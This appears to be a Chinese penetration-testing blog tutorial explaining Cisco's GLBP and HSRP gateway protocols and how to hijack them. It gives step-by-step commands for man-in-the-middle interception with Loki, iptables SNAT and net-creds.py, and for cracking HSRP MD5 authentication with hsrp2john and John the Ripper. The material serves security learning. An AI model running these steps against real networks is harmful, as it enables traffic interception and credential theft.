渗透测试十二GLBP 和 HSRP 攻击

一、对 FHRP 的见解

        FHRP 旨在通过将多台路由器合并为单个虚拟单元来提供网络稳健性,从而增强负载分配和容错能力。思科系统公司在该套件中引入了 GLBP 和 HSRP 等著名协议。

二、GLBP 协议见解

        Cisco 的发明 GLBP 在 TCP/IP 堆栈上运行,利用端口 3222 上的 UDP 进行通信。GLBP 组中的路由器每隔 3 秒交换一次“hello”数据包。如果路由器 10 秒内未发送这些数据包,则假定它处于离线状态。但是,这些计时器不是固定的,可以修改。

三、GLBP 操作和负载分配

        GLBP 的突出之处在于,它使用单个虚拟 IP 和多个虚拟 MAC 地址在路由器之间实现负载分配。在 GLBP 组中,每个路由器都参与数据包转发。与 HSRP/VRRP 不同,GLBP 通过以下几种机制提供真正的负载平衡:

  • 主机相关负载平衡:保持对主机的一致 AVF MAC 地址分配,这对于稳定的 NAT 配置至关重要。
  • 循环负载平衡:默认方法,在请求主机之间交替分配 AVF MAC 地址。
  • 加权循环负载平衡:根据预定义的“权重”指标分配负载。

四、GLBP 中的关键组件和术语

  • AVG(Active Virtual Gateway):主路由器,负责给对等路由器分配MAC地址。
  • AVF(主动虚拟转发器):指定用于管理网络流量的路由器。
  • GLBP 优先级:确定 AVG 的指标,从默认值 100 开始,范围在 1 到 255 之间。
  • GLBP 权重:反映路由器上的当前负载,可手动或通过对象跟踪进行调整。-
  • GLBP 虚拟 IP 地址:作为所有连接设备的网络默认网关。

        对于交互,GLBP 采用保留的多播地址 224.0.0.102 和 UDP 端口 3222。路由器以 3 秒的间隔传输“hello”数据包,如果在 10 秒内丢失数据包,则被视为无法运行。

五、GLBP攻击机制

        攻击者可以通过发送具有最高优先级值 (255) 的 GLBP 数据包成为主路由器。这可能导致 DoS 或 MITM 攻击,从而允许流量拦截或重定向。

六、使用 Loki 执行 GLBP 攻击

        Loki可以通过注入优先级和权重设置为 255 的数据包来执行 GLBP 攻击。攻击前的步骤包括使用 Wireshark 等工具收集虚拟 IP 地址、身份验证存在和路由器优先级值等信息。

攻击步骤:

  1. 切换到混杂模式并启用 IP 转发。
  2. 识别目标路由器并检索其 IP。
  3. 生成免费 ARP。
  4. 注入恶意 GLBP 数据包,冒充 AVG。
  5. 为攻击者的网络接口分配一个辅助 IP 地址,镜像 GLBP 虚拟 IP。
  6. 实施 SNAT 以实现完整的流量可见性。
  7. 调整路由,确保通过原有的 AVG 路由器继续访问互联网。

        通过遵循这些步骤,攻击者将自己定位为“中间人”,能够拦截和分析网络流量,包括未加密或敏感数据。

以下是演示的命令片段:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

        可以使用 net-creds.py 或类似工具来监控和拦截流量,以捕获和分析流经受感染网络的数据。

七、HSRP 劫持的被动解释及命令详情

1、HSRP(热备用路由器/冗余协议)概述

        HSRP 是思科专有的协议,专为网络网关冗余而设计。它允许将多个物理路由器配置为具有共享 IP 地址的单个逻辑单元。此逻辑单元由负责引导流量的主路由器管理。与使用优先级和权重等指标进行负载平衡的 GLBP 不同,HSRP 依靠单个活动路由器进行流量管理。

2、HSRP 中的角色和术语

  • HSRP 活动路由器:充当网关的设备,管理流量。
  • HSRP 备用路由器:备份路由器,如果活动路由器发生故障,可以接管。
  • HSRP 组:一组路由器协作形成一个单一的弹性虚拟路由器。
  • HSRP MAC 地址:在 HSRP 设置中分配给逻辑路由器的虚拟 MAC 地址。
  • HSRP 虚拟 IP 地址:HSRP 组的虚拟 IP 地址,作为连接设备的默认网关。

3、HSRP 版本

        HSRP 有两个版本,HSRPv1 和 HSRPv2,主要区别在于组容量、多播 IP 使用和虚拟 MAC 地址结构。该协议利用特定的多播 IP 地址进行服务信息交换,每 3 秒发送一次 Hello 数据包。如果在 10 秒间隔内未收到任何数据包,则假定路由器处于非活动状态。

4、HSRP 攻击机制

        HSRP 攻击涉及通过注入最大优先级值来强行接管活动路由器的角色。这可能导致中间人 (MITM) 攻击。必要的攻击前步骤包括收集有关 HSRP 设置的数据,这可以使用 Wireshark 进行流量分析。

5、绕过 HSRP 身份验证的步骤

1、将包含 HSRP 数据的网络流量保存为 .pcap 文件。

tcpdump -w hsrp_traffic.pcap

2、使用 hsrp2john.py 从 .pcap 文件中提取 MD5 哈希。

python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes

3、使用 John the Ripper 破解 MD5 哈希值。

john --wordlist=mywordlist.txt hsrp_hashes

6、使用 Loki 执行 HSRP 注入

1、启动 Loki 来识别 HSRP 广播。
2、将网络接口设置为混杂模式并启用IP转发。

sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

3、使用 Loki 瞄准特定路由器,输入破解的 HSRP 密码,并执行必要的配置以模拟活动路由器。

4、获得活动路由器角色后,配置网络接口和 IP 表以拦截合法流量。

sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

5、修改路由表以通过前一个活动路由器路由流量。

sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

6、使用 net-creds.py 或类似的实用程序从拦截的流量中捕获凭据。

sudo python2 net-creds.py -i eth0

        执行这些步骤将使攻击者能够拦截和操纵流量,类似于 GLBP 劫持的过程。这凸显了 HSRP 等冗余协议的漏洞以及采取强大安全措施的必要性。

文章参考地址

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间酒中仙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值